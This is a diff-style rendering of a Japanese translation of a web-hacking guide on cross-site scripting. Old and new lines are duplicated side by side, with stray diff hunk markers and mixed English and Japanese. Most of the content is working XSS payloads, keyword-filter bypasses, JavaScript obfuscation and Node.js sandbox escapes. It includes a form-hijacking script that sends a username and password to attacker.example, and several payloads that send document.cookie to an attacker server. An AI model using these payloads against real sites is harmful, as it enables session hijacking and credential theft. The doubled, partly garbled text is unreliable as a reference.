- **Hex and Octal encoding** - **Hex and Octal encoding**
- **data encoding** - **data encoding**
**Bypasses for HTML tags and attributes** **HTMLタグと属性のバイパス**
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses). 前のセクションの[ Blacklist Bypasses of the previous section](#blacklist-bypasses)を読んでください。
**Bypasses for JavaScript code** **JavaScriptコードのバイパス**
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques). 次のセクションのJ[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques)を読んでください。
### CSS-Gadgets ### CSS-Gadgets
ウェブのごく小さな部分で**XSSを見つけ**、何らかのインタラクションが必要な場合例えばフッターの小さなリンクにonmouseover要素があるなど、その要素が占める領域を**変更して**リンクが発火する確率を最大化することができます。 もしウェブのごく一部で、何らかの操作を必要とする**XSS**例えばフッターの小さなリンクにonmouseover要素がある場合を発見したら、その要素が占めるスペースを変更してリンクが発火する確率を最大化することができます。
たとえば、要素に次のようなスタイルを追加できます: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 例えば、次のようなスタイルを要素に追加できます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
しかし、WAFがstyle属性をフィルタリングしている場合は、CSS Styling Gadgetsを使うことができます。例えばのようなものを見つけたら しかし、WAFがstyle属性をフィルタリングしている場合は、CSS Styling Gadgetsを使うことができます。例えば以下のようなものを見つけたら
> .test {display:block; color: blue; width: 100%\} > .test {display:block; color: blue; width: 100%\}
and および
> \#someid {top: 0; font-family: Tahoma;} > \#someid {top: 0; font-family: Tahoma;}
のときリンクを次のように変更できます れでリンクを修正して次のようにできます:
> \<a href="" id=someid class=test onclick=alert() a=""> > \<a href="" id=someid class=test onclick=alert() a="">
このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取られています このトリックは次から引用しました: [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injecting inside JavaScript code ## JavaScriptコード内へのインジェクション
この場合、あなたの**input**は `.js` ファイルのJSコード内、または `<script>...</script>` タグ内、あるいはJSを実行するHTMLイベントや `javascript:` プロトコルを受け取る属性の間に反映されます。 この場合、あなたの**input**は`.js`ファイルのJSコード内、または`<script>...</script>`タグの内部、JSを実行できるHTMLイベントの間、あるいは`javascript:`プロトコルを許容する属性の間に**反映**されます。
### Escaping \<script> tag ### \<script>タグのエスケープ
もしコードが `<script> [...] var input = 'reflected data' [...] </script>` の内部に挿入される場合、`</script>` を閉じることで簡単にエスケープできます: もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入される場合、簡単に`</script>`を閉じることを**エスケープ**できます:
```javascript ```javascript
</script><img src=1 onerror=alert(document.domain)> </script><img src=1 onerror=alert(document.domain)>
``` ```
Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward. 注:この例では**シングルクォートすら閉じていない**ことに注意してください。これは**HTMLのパースがブラウザによって最初に行われる**ためで、ページ要素scriptブロックを含むの識別が行われます。埋め込まれたスクリプトを理解して実行するためのJavaScriptのパースは、その後で行われます。
### JS コード内 ### JSコード内
もし `<>` がサニタイズされている場合でも、入力が**配置されている**場所の文字列を**エスケープする**ことで、**任意のJSを実行する**ことができます。エラーがあるとJSコードは実行されないため、**JS構文を修正する**ことが重要です `<>` がサニタイズされている場合でも、入力が**配置されている**文字列を**エスケープして**任意のJSを**実行する**ことが可能です。重要なのは**JSの構文を修正する**ことです。エラーがあると、JSコードは実行されません
``` ```
'-alert(document.domain)-' '-alert(document.domain)-'
';alert(document.domain)// ';alert(document.domain)//
\';alert(document.domain)// \';alert(document.domain)//
``` ```
#### JS-in-JS string break → inject → repair pattern #### JS-in-JS string break → inject → repair パターン
ユーザ入力が quoted JavaScript string の中に入るとき(例: server-side echo into an inline script、string を終了させて inject code し、syntax を修復して parsing を有効に保つことができます。汎用スケルトン: ユーザ入力が quoted JavaScript string の中に入る場合server-side echo による inline script への挿入)、文字列を終了させてコードを inject し、構文を repair してパースが有効になるように維持できます。一般的なスケルトン:
``` ```
" // end original string " // end original string
; // safely terminate the statement ; // safely terminate the statement
@ -509,14 +508,14 @@ Note that in this example we **haven't even closed the single quote**. This is b
``` ```
?param=test";<INJECTION>;a=" ?param=test";<INJECTION>;a="
``` ```
これはHTMLコンテキストに触れることなく攻撃者のJSを実行します純粋なJS-in-JS。フィルタがキーワードをブロックする場合は、下のblacklist bypassesと組み合わせてください。 これは攻撃者のJSをHTMLコンテキストに触れることなく実行しますpure JS-in-JS。フィルタがキーワードをブロックする場合は下記のブラックリスト回避と組み合わせてください。
### Template literals `` ### テンプレートリテラル \`\`
単一引用符や二重引用符とは別に文字列を構築するため、JSは**backticks** **` `` `** も受け入れます。これはtemplate literalsとして知られており、`${ ... }`構文を使って**embedded JS expressions**を埋め込めます。\ 単一引用符や二重引用符とは別に**文字列**を構築するためにJSは**バッククオートbackticks** **` `` `** も受け付けます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使って**JS式を埋め込む**ことができます。\
したがって、入力がbackticksを使ったJS文字列内に**reflected**されている場合、`${ ... }`構文を悪用して**arbitrary JS code**を実行できます: したがって、入力がバッククオートで囲まれたJS文字列として**反映**されている場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます:
これは次のように**abused**できます これを**悪用**するには
```javascript ```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
``` ```
@ -535,14 +534,14 @@ loop``
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary <svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>"> <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
``` ```
#### eval(atob()) を使った配信可能なペイロードとスコープのニュアンス #### eval(atob()) を使った配布用ペイロードとスコープの微妙な違い
URL を短く保ち、単純なキーワードフィルタを回避するために、実際のロジックを base64 エンコードして `eval(atob('...'))` で評価できます。単純なキーワードフィルタが `alert`, `eval`, `atob` のような識別子をブロックする場合は、ブラウザで同一にコンパイルされるが文字列照合フィルタを回避する Unicode エスケープされた識別子を使ってください: URLs を短く保ち、単純なキーワードフィルタを回避するために、実際のロジックを base64 エンコードして `eval(atob('...'))` で評価できます。もし単純なキーワードフィルタが `alert``eval`、または `atob` のような識別子をブロックする場合、ブラウザで同一にコンパイルされつつ文字列一致フィルタを回避する Unicode エスケープされた識別子を使ってください:
``` ```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1) \u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...')) \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
``` ```
重要なスコーピングの注意点: `const`/`let``eval()` 内で宣言されるとブロックスコープになりグローバルを作成しません; それらは後続のスクリプトからアクセスできません。必要に応じてグローバルで再代入不可のフックを定義するには動的に挿入した `<script>` 要素を使用してください (e.g., to hijack a form handler): 重要なスコーピングのニュアンス: `const`/`let``eval()` 内で宣言されるとブロックスコープになり、グローバルを生成しません; 後続のスクリプトからはアクセスできません。必要な場合e.g., to hijack a form handlerグローバルで再代入不可のフックを定義するには動的に挿入した `<script>` 要素を使用してください:
```javascript ```javascript
var s = document.createElement('script'); var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}"; s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -550,15 +549,15 @@ document.head.appendChild(s);
``` ```
参照: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval 参照: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode エンコードによる JS 実行 ### Unicode Encode JS execution
```javascript ```javascript
alert(1) alert(1)
alert(1) alert(1)
alert(1) alert(1)
``` ```
### JavaScript bypass blacklists の手法 ### JavaScript ブラックリスト回避テクニック
**Strings** **文字列**
```javascript ```javascript
"thisisastring" "thisisastring"
'thisisastrig' 'thisisastrig'
@ -589,12 +588,12 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab "\t" //tab
// Any other char escaped is just itself // Any other char escaped is just itself
``` ```
**JSコード内の空白の置換** **JS code内のスペース置換**
```javascript ```javascript
<TAB> <TAB>
/**/ /**/
``` ```
**JavaScript のコメント(出典:** [**JavaScript Comments**](#javascript-comments) **トリック)** **JavaScript comments (より** [**JavaScript Comments**](#javascript-comments) **トリック)**
```javascript ```javascript
//This is a 1 line comment //This is a 1 line comment
/* This is a multiline comment*/ /* This is a multiline comment*/
@ -638,7 +637,7 @@ console.log(log)
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
``` ```
**JavaScript (括弧なし)** **JavaScript(括弧なし)**
```javascript ```javascript
// By setting location // By setting location
window.location='javascript:alert\x281\x29' window.location='javascript:alert\x281\x29'
@ -717,7 +716,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**任意の関数 (alert) 呼び出し** **任意の関数 (alert) 呼び出し**
```javascript ```javascript
//Eval like functions //Eval like functions
eval('ale'+'rt(1)') eval('ale'+'rt(1)')
@ -779,7 +778,7 @@ top[8680439..toString(30)](1)
``` ```
## **DOM vulnerabilities** ## **DOM vulnerabilities**
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\ JS codeが攻撃者により制御されるデータ例: `location.href`を安全でない形で使用している場合があります。攻撃者はこれを悪用して任意のJSコードを実行できます。\
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** **Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
@ -787,37 +786,46 @@ There is **JS code** that is using **unsafely data controlled by an attacker** l
dom-xss.md dom-xss.md
{{#endref}} {{#endref}}
There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\ そこでは、**DOM vulnerabilities が何か、どのように発生し、どのように悪用するかの詳細な説明**を確認できます。\
Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). また、**該当記事の最後**に[**DOM Clobbering attacks**](dom-xss.md#dom-clobbering)の説明があることを忘れないでください。
### Self-XSSのエスカレーション ### Self-XSS のエスカレーション
### Cookie XSS ### Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack: ペイロードをcookie内に入れて送信することでXSSを発生させられる場合、これは通常self-XSSです。しかし、もしXSSに脆弱なsubdomainを見つけた場合、そのXSSを悪用してドメイン全体にcookieを注入し、メインドメインや他のサブドメインcookie XSSに脆弱なものでcookie XSSを発動させることができます。そのためにcookie tossing attackを使用できます
{{#ref}} {{#ref}}
../hacking-with-cookies/cookie-tossing.md ../hacking-with-cookies/cookie-tossing.md
{{#endref}} {{#endref}}
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). この技術の優れた悪用例は[**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)で確認できます。
### Sending your session to the admin ### セッションをadminに送る
Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability. ユーザがプロフィールをadminと共有できる場合、もしユーザのプロフィール内にself XSSがありadminがそれにアクセスすると、脆弱性がトリガされます。
### Session Mirroring ### Session Mirroring
If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session. もしself XSSを見つけ、webページが管理者向けのsession mirroringを備えている場合クライアントがヘルプを依頼できる仕組みで、adminが支援のためにあなたのセッションで見ているものを自身のセッションから見るようなもの、adminにあなたのself XSSをトリガーさせてそのcookies/sessionを盗むことができます。
You could make the **administrator trigger your self XSS** and steal his cookies/session. ## Other Bypasses
## その他のバイパス ### WASM linear-memory template overwrite によるサニタイズのバイパス
### 正規化された Unicode Emscripten/WASMを使用するwebアプリでは、定数文字列HTMLフォーマットのスタブなどは書き込み可能なlinear memory上に存在します。inWASMの単一のオーバーフローeditパスでのunchecked memcpyが隣接する構造体を破壊し、これら定数への書き込み先をリダイレクトすることがあります。テンプレート "<article><p>%.*s</p></article>" を "<img src=1 onerror=%.*s>" に上書きすると、サニタイズ済みの入力がJavaScriptハンドラ値になり、レンダリング時に即座にDOM XSSを引き起こします。
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). エクスプロイトのワークフロー、DevTools用のメモリヘルパー、対策をまとめた専用ページを確認してください
{{#ref}}
wasm-linear-memory-template-overwrite-xss.md
{{#endref}}
### Normalised Unicode
サーバ側(またはクライアント側)で reflected values が unicode normalized されているかを確認し、この機能を悪用して保護をバイパスすることができます。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass ### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript ```javascript
@ -825,8 +833,8 @@ You could check is the **reflected values** are being **unicode normalized** in
``` ```
### Ruby-On-Rails bypass ### Ruby-On-Rails bypass
**RoR mass assignment** により、HTML に引用符が挿入され、その引用符の制限がバイパスされ、タグ内に追加のフィールドonfocusを挿入できます。\ RoR mass assignment のため、HTML に引用符が挿入され、引用符の制約が回避され、タグ内に追加のフィールドonfocusを追加できます。\
フォームの例([from this report](https://hackerone.com/reports/709336))、もし payload を送信すると: フォームの例([from this report](https://hackerone.com/reports/709336))、次の payload を送信すると:
``` ```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
``` ```
@ -834,7 +842,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
``` ```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"} {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
``` ```
すると、onfocus 属性が挿入され、XSS が発生します。 すると、onfocus属性が挿入され、XSSが発生します。
### 特殊な組み合わせ ### 特殊な組み合わせ
```html ```html
@ -866,24 +874,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3) document['default'+'View'][`\u0061lert`](3)
``` ```
### 302レスポンスでのヘッダ注入によるXSS ### 302レスポンスでのヘッダ注入によるXSS
もし **302 Redirect response にヘッダーを注入できる** 場合、ブラウザに **任意の JavaScript を実行させる** ことを試みることができます。これは **容易ではありません** — モダンなブラウザは HTTP レスポンスのステータスコードが 302 の場合に HTTP レスポンスボディを解釈しないため、単に cross-site scripting ペイロードを置くだけでは無意味です。 もし**302 Redirect レスポンスにヘッダを注入できる**ことが分かれば、**ブラウザに任意の JavaScript を実行させる**ことを試せます。これは**簡単ではありません**。現代のブラウザは HTTP レスポンスのステータスコードが 302 の場合にレスポンスボディを解釈しないため、単なる cross-site scripting ペイロードは無効です。
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\ In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
過去に確認されたプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. 過去に確認されたプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### 英数字とドットのみ ### 文字・数字・ドットのみ
もし英数字とドットのみで指定できる **callback** を javascript が **execute** するように指定できるなら、この挙動を悪用する方法があります。 [**Read this section of this post**](#javascript-function) を参照してください。 もし javascript が実行する **callback** をそれらの文字(英字、数字、ドット)のみで指定できるなら、濫用方法については [**Read this section of this post**](#javascript-function) を参照してください。
### Valid `<script>` Content-Types to XSS ### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error: (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 例えば `application/octet-stream` のような **content-type** のスクリプトを読み込もうとすると、Chrome は次のエラーを出します:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled. > Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) Chrome が **loaded script** を実行するのを許す唯一の **Content-Type** は、const **`kSupportedJavascriptTypes`** に含まれるものだけです(参照: [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc))。
```c ```c
const char* const kSupportedJavascriptTypes[] = { const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript", "application/ecmascript",
@ -907,12 +915,14 @@ const char* const kSupportedJavascriptTypes[] = {
``` ```
### XSS におけるスクリプトの種類 ### XSS におけるスクリプトの種類
(出典: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むために指定できるでしょうか? (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、スクリプトを読み込むために指定できるタイプはどれでしょうか?
```html ```html
<script type="???"></script> <script type="???"></script>
``` ```
答えは:
- **module** (デフォルト、説明不要) - **module** (デフォルト、説明不要)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JS…などの複数のデータをまとめて**`.wbn`**ファイルにパッケージできる機能です。 - [**webbundle**](https://web.dev/web-bundles/): Web Bundles は、HTML、CSS、JS…などのデータをまとめてパッケージ化し、**`.wbn`** ファイルにまとめることができる機能です。
```html ```html
<script type="webbundle"> <script type="webbundle">
{ {
@ -939,9 +949,9 @@ import moment from "moment"
import { partition } from "lodash" import { partition } from "lodash"
</script> </script>
``` ```
この挙動は [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) で、ライブラリを eval にリマップして悪用することで XSS を引き起こすために使われました この挙動は [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) で、ライブラリを eval にリマップして悪用するために使用され、XSS を引き起こす可能性があります
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングが原因となる問題を解決するためのものです。動作は次の通りです: - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主に事前レンダリングによって生じるいくつかの問題を解決するためのものです。動作は次のとおりです:
```html ```html
<script type="speculationrules"> <script type="speculationrules">
{ {
@ -959,22 +969,22 @@ import { partition } from "lodash"
``` ```
### Web Content-Types による XSS ### Web Content-Types による XSS
(出典 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下の Content-Types はすべてのブラウザで XSS を実行できます: (出典: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下の Content-Types はすべてのブラウザで XSS を実行できます:
- text/html - text/html
- application/xhtml+xml - application/xhtml+xml
- application/xml - application/xml
- text/xml - text/xml
- image/svg+xml - image/svg+xml
- text/plain (?? リストにはありませんが、CTFで見た気がします) - text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off) - application/rss+xml (off)
- application/atom+xml (off) - application/atom+xml (off)
他のブラウザでは、他の **`Content-Types`** が任意の JS を実行するために使われることがあります。参照: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) その他のブラウザでは、他の **`Content-Types`** を使って任意の JS を実行できるものがあります。詳細は次を参照: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type ### xml Content Type
ページが text/xml コンテンツタイプを返している場合、namespace を指定して任意の JS を実行することが可能です: ページが text/xml の content-type を返している場合、名前空間を指定して任意の JS を実行できることがあります:
```xml ```xml
<xml> <xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text> <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -984,9 +994,9 @@ import { partition } from "lodash"
``` ```
### 特殊な置換パターン ### 特殊な置換パターン
例えば **`"some {{template}} data".replace("{{template}}", <user_input>)`** のような処理が行われる場合、攻撃者は [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) を使っていくつかの保護を迂回しようとする可能性があります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` 例えば **`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなコードが使われている場合、攻撃者は [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) を利用していくつかの防御を回避しようとする可能性があります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例えば [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) では、これを使ってスクリプト内の **scape a JSON string** を行い、任意のコードを実行しています 例えば [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) では、これはスクリプト内のJSON文字列をエスケープして任意のコードを実行するために使われました
### Chrome Cache to XSS ### Chrome Cache to XSS
@ -997,7 +1007,7 @@ chrome-cache-to-xss.md
### XS Jails Escape ### XS Jails Escape
使用できる文字が限られている場合、XSJail の問題に対する以下の他の有効な解決策を確認してください: 使用できる文字が限られている場合、XSJailの問題に対する以下の他の有効な解決策を参照してください:
```javascript ```javascript
// eval + unescape + regex // eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1028,22 +1038,22 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in // For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
``` ```
もし信頼できないコードを実行する前に **everything is undefined** であれば([**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves) のように)、任意の信頼できないコードの実行を悪用するために有用なオブジェクトを「無から」生成することが可能です: もし信頼できないコードを実行する前に **すべてが undefined** である(例えば [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves) のように)、任意の信頼できないコードの実行を悪用するために「何もないところから」有用なオブジェクトを生成することが可能です:
- import() を使用して - import() を使
```javascript ```javascript
// although import "fs" doesnt work, import('fs') does. // although import "fs" doesnt work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
``` ```
- 間接的に `require` にアクセスする - Accessing `require` indirectly
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールは Node.js によって関数内でラップされ、次のようになります: [According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールは Node.js によって関数内で次のようにラップされます:
```javascript ```javascript
;(function (exports, require, module, __filename, __dirname) { ;(function (exports, require, module, __filename, __dirname) {
// our actual module code // our actual module code
}) })
``` ```
したがって、そのモジュールから**別の関数を呼び出せる**場合、その関数内で `arguments.callee.caller.arguments[1]` を使用して **`require`** にアクセスすることが可能です: したがって、そのモジュールから**別の関数を呼び出すことができれば**、その関数内から`arguments.callee.caller.arguments[1]`を使って**`require`**にアクセスすることが可能です:
```javascript ```javascript
;(function () { ;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync( return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1052,7 +1062,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
) )
})() })()
``` ```
前の例と同様に、**use error handlers** を使ってモジュールの **wrapper** にアクセスし、**`require`** 関数を取得できます: 前の例と同様に、**エラーハンドラを使用して**モジュールの**ラッパー**にアクセスし、**`require`**関数を取得することができます:
```javascript ```javascript
try { try {
null.f() null.f()
@ -1090,9 +1100,9 @@ console.log(req("child_process").execSync("id").toString())
} }
trigger() trigger()
``` ```
### Obfuscation & Advanced Bypass ### 難読化と高度なバイパス
- **1ページのさまざまな難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - **1ページのさまざまな難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@ -1273,7 +1283,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
``` ```
## XSS common payloads ## XSS common payloads
### 複数の payloads を1つに ### Several payloads in 1
{{#ref}} {{#ref}}
@ -1282,14 +1292,13 @@ steal-info-js.md
### Iframe Trap ### Iframe Trap
ページを離れずにiframe内で移動させ、ユーザーの操作フォームに送信された情報を含むを盗む: ユーザーに iframe を抜けずにページ内を移動させ、その行動(フォームで送信された情報を含む)を盗む:
{{#ref}} {{#ref}}
../iframe-traps.md ../iframe-traps.md
{{#endref}} {{#endref}}
### Cookies を取得 ### Retrieve Cookies
```javascript ```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie> <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie"> <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1312,8 +1321,8 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script> <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
``` ```
> [!TIP] > [!TIP]
> HTTPOnly フラグが cookie に設定されている場合、JavaScript から cookies にアクセスすることはできません。 ただし、運が良ければ [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) を使ってこの保護を回避できる場合があります。 > HTTPOnly flag が cookie に設定されている場合、**JavaScript から cookies にアクセスすることはできません**。ただし、運が良ければ [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) を利用できることがあります。
